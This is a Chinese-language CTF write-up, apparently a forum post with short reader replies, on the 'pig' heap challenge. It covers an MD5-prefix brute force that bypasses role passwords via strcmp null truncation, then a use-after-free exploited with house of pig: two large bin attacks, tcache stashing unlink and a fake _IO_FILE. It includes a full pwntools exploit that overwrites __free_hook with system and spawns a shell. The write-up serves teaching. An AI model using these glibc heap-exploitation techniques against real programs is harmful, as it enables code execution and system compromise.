    // 第三位为 '\x00',存在提前截断。
    || !strcmp(v7, "<D\x00T\x92c \xAC\xF0\xAA\x1C\xBA\x8C\xBD\x96\xDA") )
  {
    if ( s[0] == 'C' )
      return 3LL;
    if ( (unsigned __int8)s[0] - 'A' <= 2 )
    {
      if ( s[0] == 'A' )
        return 1LL;
      if ( s[0] == 'B' )
        return 2LL;
    }
  }
  v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Couldn't find this password!");
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  return 0LL;
}
unsigned __int64 __fastcall MD5_initalize(_DWORD *a1)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  // MD5魔数
  *a1 = 0;
  a1[1] = 0;
  a1[2] = 0x67452301;
  a1[3] = 0xEFCDAB89;
  a1[4] = 0x98BADCFE;
  a1[5] = 0x10325476;
  return __readfsqword(0x28u) ^ v2;
}

根据条件爆破密码。

import hashlib
import string
import itertools

def find_string(start_char):
    chars = string.ascii_letters + string.digits
    for guess in itertools.product(chars, repeat=5):
        s = start_char + ''.join(guess)
        md5_value = hashlib.md5(s.encode()).hexdigest()
        if md5_value[:6] == '3c4400':
            return s
    return None

print(find_string('A'))
print(find_string('B'))
print(find_string('C'))

需要知道每个角色的密码,才能通过对应密码 md5 的比较判断,但是这里判断用的 strcmp,且其中有个 md5 值中的包含 ‘\x00’ ,所以实际上会提前截断,而以‘\x3c\x44\x00’ 开头的 md5,对应的原值其实是有很多的,所以这里可以任意切换角色。

unsigned __int64 __fastcall set_info1(Info *info)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memcpy(state, info, 0xC0uLL);
  memcpy(state->info1.size, info->size, sizeof(state->info1.size));
  memcpy(state->info1.flag2, info->flag2, sizeof(state->info1.flag2));
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall set_info2(Info *info)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memcpy(&state->info2, info, 0xC0uLL);
  memcpy(state->info2.size, info->size, sizeof(state->info2.size));
  memcpy(state->info2.flag2, info->flag2, sizeof(state->info2.flag2));
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall set_info3(Info *info)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memcpy(&state->info3, info, 0xC0uLL);
  memcpy(state->info3.size, info->size, sizeof(state->info3.size));
  memcpy(state->info3.flag2, info->flag2, sizeof(state->info3.flag2));
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 __fastcall get_info_1(Info *info)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memcpy(info, state, 0xC0uLL);
  memcpy(info->size, state->info1.size, sizeof(info->size));
  memcpy(info->flag1, state->info1.flag1, sizeof(info->flag1));
  memcpy(info->flag2, state->info1.flag2, sizeof(info->flag2));
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall get_info2(Info *info)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memcpy(info, &state->info2, 0xC0uLL);
  memcpy(info->size, state->info2.size, sizeof(info->size));
  memcpy(info->flag1, state->info2.flag1, sizeof(info->flag1));
  memcpy(info->flag2, state->info2.flag2, sizeof(info->flag2));
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall get_info_3(Info *info)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memcpy(info, &state->info3, 0xC0uLL);
  memcpy(info->size, state->info3.size, sizeof(info->size));
  memcpy(info->flag1, state->info3.flag1, sizeof(info->flag1));
  memcpy(info->flag2, state->info3.flag2, sizeof(info->flag2));
  return __readfsqword(0x28u) ^ v2;
}

在检查函数通过之后,如果我们会更换用户,则会将原来用户分配的chunk复制到一个程序预先分配号的一块空间,然后将新用户的chunk以及标志位等从那一块空间中复制出来。

漏洞利用

本题的漏洞就在于用户的分配上。由于新用户只是复制了第二个标志位,对于某个chunk的索引而言,如果原用户的两个对应标志位均为0,而新用户的两个标志位为1,则用户转换后,两个标志位分别为0和1。注意view messageedit message检查的都是第1个标志位是否为0,对于新用户而言,这个索引原本的chunk是已经被释放的,但这样一来我们就可以再一次访问这个chunk,这就产生了UAF。我们可以申请到在tcache保存大小范围的chunk,也可以申请到大于tcache大小的chunk,而且程序通过calloc 分配堆块会跨过 tcache,符合 house of pig 利用条件。关于新版本 largebin_attacktcache_stashing_unlink_attack 请看前言提到的文章。

前置脚本

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process("./pig")
elf = ELF('./pig')
libc = ELF('libc-2.31.so')
password = [b'Aa9nH3', b'BaBqJn', b'CbyWU8']
current_user = 0

def add(content_length, content = None):
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'message size: ', str(content_length).encode())
    if content is None:
        content = str(current_user) * (content_length // 0x30 * 0x10)
    io.sendafter(b'message: ', content)
    sleep(0.1)

def view(index):
    io.sendlineafter(b'Choice: ', b'2')
    io.sendlineafter(b'index: ', str(index).encode())
    sleep(0.1)

def edit(index, content):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'index: ', str(index).encode())
    io.sendafter(b'message: ', content)
    sleep(0.1)

def delete(index):
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'index: ', str(index).encode())
    sleep(0.1)

def change_role(role):
    global current_user
    io.sendlineafter(b'Choice: ', b'5')
    io.sendlineafter(b'user:\n', password[role])
    current_user = role
    sleep(0.1)

泄露地址并部署堆

def leak_addr():
    global libc_base, system, __free_hook, _IO_list_all, heap_address
    # 部署tcache stashing unlink attack的堆环境
    change_role(1)
    for i in range(5):      # make 5 chunk into tcache, mummy index 0~4
        add(0xA0)
        delete(i)

    change_role(0)
    add(0x150)    # peppa index 0
    for i in range(7):      # fill 0x120 tcache, peppa index 1~7
        add(0x150)
        delete(i + 1)
    delete(0)               # peppa #0 into unsorted bin

    gdb.attach(io)
    pause()

    change_role(1)
    add(0xA0)               # mummy index 5, split peppa #0
    change_role(0)
    add(0x160)              # peppa index 8
    for i in range(7):      # fill 0x130 tcache, peppa index 9~15
        add(0x160)
        delete(i + 9)
    delete(8)
    change_role(1)
    change_role(0)

    gdb.attach(io)
    pause()

    view(8)                 # get libc base address
    io.recv(0x10)
    libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
    system = libc_base + libc.symbols['system']
    __free_hook = libc_base + libc.symbols['__free_hook']
    _IO_list_all = libc_base + libc.symbols['_IO_list_all']
    change_role(1)
    add(0xB0)               # mummy index 6, split peppa #8

    # 获取堆地址
    change_role(0)
    change_role(1)

    gdb.attach(io)
    pause()

    view(1)
    io.recv(0x10)
    heap_address = u64(io.recv(6) + b'\x00\x00')        # get a heap address

    print('libc base: ', hex(libc_base))
    print('system: ', hex(system))
    print('__free_hook: ', hex(__free_hook))
    print('_IO_list_all: ', hex(_IO_list_all))
    print('heap address: ', hex(heap_address))

tcache stashing unlink的堆环境要求有5chunk位于同一个tcache bins中,同时有2个相同大小的chunk位于small bins,之后通过修改small bins中链首chunkbk指针可以将任意地址链入到tcache

这里先将 peppa(0) 放进 unsorted bin,之后将其切分,由于转换身份时存在 UAF 漏洞,可以以此泄露 libc 地址,不过要注意先将对应的 tcache 填满。切分后我们再次申请 0x160 大小的 chunk 将剩余部分放进 small bin 中已备 tcache stashing unlink attack 攻击。

57

57

58

58

同理也可以利用身份转换的 UAF 漏洞泄露堆地址,通过 tcachefd 指针泄露堆地址,两次view的机会全部用完了,后面将不能使用view查看。我们这里add(0xb0)时将 unsorted bin 中的 chunk 切割成了 0xb0 大小。

59

59

第一次large bin attack

def first_largebin_attack():
    # first large bin attack
    change_role(1)
    add(0x440)     # mummy index = 7
    change_role(0)
    add(0x430)     # peppa index = 16
    add(0x430)     # peppa index = 17
    add(0x430)     # peppa index = 18
    add(0x430)     # peppa index = 19
    change_role(1)
    delete(7)
    add(0x450)     # mummy index = 8, switch mummy #7 into large bin
    change_role(0)
    delete(17)
    change_role(1)
    change_role(0)
    change_role(1)
    edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
    change_role(2)
    add(0xF0)    # daddy index = 0, complete first large bin attack

large bin attack 可以任意地址写堆地址,我们可以使得 __free_hook 周围变得可写。这种手法可以从前言的文章了解,这里不再细讲,我们把 large_bin_chunk.bk_nextsize -> (__free_hook - 0x30),再次申请 0xf0 大小的 chunk 时会先把 unsorted_bin_chunk 放进 large bin ,再去 large bin 中找到合适的 chunk 进行切割。借此可以完成 large bin attack

构造的结构如下:

60

60

攻击后如下:

61

61

第二次 large bin attack

def second_largebin_attack():
    # second large bin attack
    change_role(1)
    change_role(0)
    delete(19)
    change_role(1)
    edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
    change_role(2)
    #gdb.attach(io)
    add(0xF0)    # daddy index = 1, complete first large bin attack
    #pause()

第二次 large bin attack,我们的目标是将未来的假 _IO_FILE地址写到_IO_list_all中。上一次 large bin attack中使用的large bin是可以重用的,我们将bk_nextsize指针改到其他位置还能够再一次进行攻击。第二次large bin attack应该写的具体的堆地址应该根据堆环境进行确定,选择的偏移至关重要。为了方便起见,我们的伪造_IO_FILE结构体应该在daddy分配索引为4的chunk时附加送给我们的一个chunk中进行构造。向_IO_list_all中写入的是large bin chunk的地址,如果想要这里同时也指向假_IO_FILE指针,就需要计算好chunk的分配数量,在calloc(0xE8)时能够正好让这个chunk被拆分,这样就实现了此处可写。可以让bk_nextsize的值为_IO_list_all-0x20

构造如下:

62

62

攻击后:

63

63

这里_IO_list_all已经指向了我们伪造的 fake_IO_FILE

tcache stashing unlink attack

def tcache_stashing_unlink_attack():
    # tcache stashing unlink attack
    change_role(0)
    edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) + b'\n')
    change_role(2)
    add(0x230)   # daddy index = 2
    change_role(2)
    add(0x430)   # daddy index = 3
    change_role(1)
    edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
    change_role(2)
    add(0xA0)   # daddy index = 4, trigger tcache stashing unlink attack

    fake_IO_FILE_complete = p64(0) * 2  # _IO_read_end (0x10), _IO_read_base (0x18)
    fake_IO_FILE_complete += p64(1)     # _IO_write_base (0x20)
    fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF) # _IO_write_ptr (0x28)
    fake_IO_FILE_complete += p64(0)     # _IO_write_end (0x30)
    fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0)  # _IO_buf_base (0x38)
    fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30)  # _IO_buf_end (0x40)
    fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
    fake_IO_FILE_complete += p64(0)     # _mode (0xB0)
    fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
    fake_IO_FILE_complete += b'/bin/sh\x00'
    fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
    payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
    io.sendafter(b'Gift:', payload)

在第一次 large bin attack之后,我们将一个堆地址写到了__free_hook-10的位置,接下来就需要通过 tcache stashing unlink attack将这个地址用_IO_str_overflow函数中的malloc函数分配出来,然后利用 memcpy 将其改写为 system 地址,并传入 /bin/sh\x00 参数,通过 exit 函数触发即可。

构造的堆空间:

64

64

65

65

此时用 calloc 申请 0xA0 大小的堆块会跨过 tcachesmall bin 获取, tcache 未满将会把 small bin 中的堆块先放进 tcache 中。

攻击后:

66

66

成功链接进入 tcache

67

67

构造的 fake_IO_FILE:

68

68

69

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_IO_buf_end - _IO_buf_base = 30,所以申请的大小刚好为 30*2+100=0xA0,会把 __free_hook 申请出来。

70

70

我们申请出来的用户空间在 0x...30,而 &__free_hook = 0x...48,我们将 old_buf == _IO_buf_base 指向这样的地址 b'/bin/sh\x00'+p64(system_addr)*2就可以把 system 地址写入到 __free_hook,并且把 _IO_buf_base ->'/bin/sh\x00' 作为其参数调用。

71

71

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process("./pig")
elf = ELF('./pig')
libc = ELF('libc-2.31.so')
password = [b'Aa9nH3', b'BaBqJn', b'CbyWU8']
current_user = 0

def add(content_length, content = None):
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'message size: ', str(content_length).encode())
    if content is None:
        content = str(current_user) * (content_length // 0x30 * 0x10)
    io.sendafter(b'message: ', content)
    sleep(0.1)

def view(index):
    io.sendlineafter(b'Choice: ', b'2')
    io.sendlineafter(b'index: ', str(index).encode())
    sleep(0.1)

def edit(index, content):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'index: ', str(index).encode())
    io.sendafter(b'message: ', content)
    sleep(0.1)

def delete(index):
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'index: ', str(index).encode())
    sleep(0.1)

def change_role(role):
    global current_user
    io.sendlineafter(b'Choice: ', b'5')
    io.sendlineafter(b'user:\n', password[role])
    current_user = role
    sleep(0.1)

def leak_addr():
    global libc_base, system, __free_hook, _IO_list_all, heap_address
    # 部署tcache stashing unlink attack的堆环境
    change_role(1)
    for i in range(5):      # make 5 chunk into tcache, mummy index 0~4
        add(0xA0)
        delete(i)

    change_role(0)
    add(0x150)    # peppa index 0
    for i in range(7):      # fill 0x120 tcache, peppa index 1~7
        add(0x150)
        delete(i + 1)
    delete(0)               # peppa #0 into unsorted bin

    # gdb.attach(io)
    # pause()

    change_role(1)
    add(0xA0)               # mummy index 5, split peppa #0
    change_role(0)
    add(0x160)              # peppa index 8
    for i in range(7):      # fill 0x130 tcache, peppa index 9~15
        add(0x160)
        delete(i + 9)
    delete(8)

    change_role(1)
    change_role(0)

    # gdb.attach(io)
    # pause()

    view(8)                 # get libc base address
    io.recv(0x10)
    libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
    system = libc_base + libc.symbols['system']
    __free_hook = libc_base + libc.symbols['__free_hook']
    _IO_list_all = libc_base + libc.symbols['_IO_list_all']
    change_role(1)
    add(0xB0)               # mummy index 6, split peppa #8

    # 获取堆地址
    change_role(0)
    change_role(1)

    # gdb.attach(io)
    # pause()

    view(1)
    io.recv(0x10)
    heap_address = u64(io.recv(6) + b'\x00\x00')        # get a heap address

    print('libc base: ', hex(libc_base))
    print('system: ', hex(system))
    print('__free_hook: ', hex(__free_hook))
    print('_IO_list_all: ', hex(_IO_list_all))
    print('heap address: ', hex(heap_address))

def first_largebin_attack():
    # first large bin attack
    change_role(1)
    add(0x440)     # mummy index = 7
    change_role(0)
    add(0x430)     # peppa index = 16
    add(0x430)     # peppa index = 17
    add(0x430)     # peppa index = 18
    add(0x430)     # peppa index = 19
    change_role(1)
    delete(7)
    add(0x450)     # mummy index = 8, switch mummy #7 into large bin
    change_role(0)
    delete(17)
    change_role(1)
    change_role(0)
    change_role(1)
    edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
    change_role(2)
    #gdb.attach(io)
    add(0xF0)    # daddy index = 0, complete first large bin attack
    #pause()

def second_largebin_attack():
    # second large bin attack
    change_role(1)
    change_role(0)
    delete(19)
    change_role(1)
    edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
    change_role(2)
    #gdb.attach(io)
    add(0xF0)    # daddy index = 1, complete first large bin attack
    #pause()

def tcache_stashing_unlink_attack():
    # tcache stashing unlink attack
    change_role(0)
    edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) + b'\n')
    change_role(2)
    add(0x230)   # daddy index = 2
    change_role(2)
    add(0x430)   # daddy index = 3
    change_role(1)
    edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
    change_role(2)
    #gdb.attach(io)
    add(0xA0)   # daddy index = 4, trigger tcache stashing unlink attack
    #pause()

    fake_IO_FILE_complete = p64(0) * 2  # _IO_read_end (0x10), _IO_read_base (0x18)
    fake_IO_FILE_complete += p64(1)     # _IO_write_base (0x20)
    fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF) # _IO_write_ptr (0x28)
    fake_IO_FILE_complete += p64(0)     # _IO_write_end (0x30)
    fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0)  # _IO_buf_base (0x38)
    fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30)  # _IO_buf_end (0x40)
    fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
    fake_IO_FILE_complete += p64(0)     # _mode (0xB0)
    fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
    fake_IO_FILE_complete += b'/bin/sh\x00'
    fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
    payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
    #gdb.attach(io)
    io.sendafter(b'Gift:', payload)
    #pause()

def pwn():
    leak_addr()
    first_largebin_attack()
    second_largebin_attack()
    tcache_stashing_unlink_attack()
    io.sendlineafter(b'Choice: ', b'5')
    io.sendlineafter(b'user:\n', b'')
    io.interactive()

if __name__ == '__main__':
    pwn()

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zufgj 发表于 2023-10-30 17:27
学习学习!!!
anhuizhubao 发表于 2023-10-30 17:37
blackt3a 发表于 2023-10-30 20:30
shengrumenghuan 发表于 2023-10-31 11:38
学习了,谢谢
bc001 发表于 2023-10-31 21:19
先生真乃神 人也。
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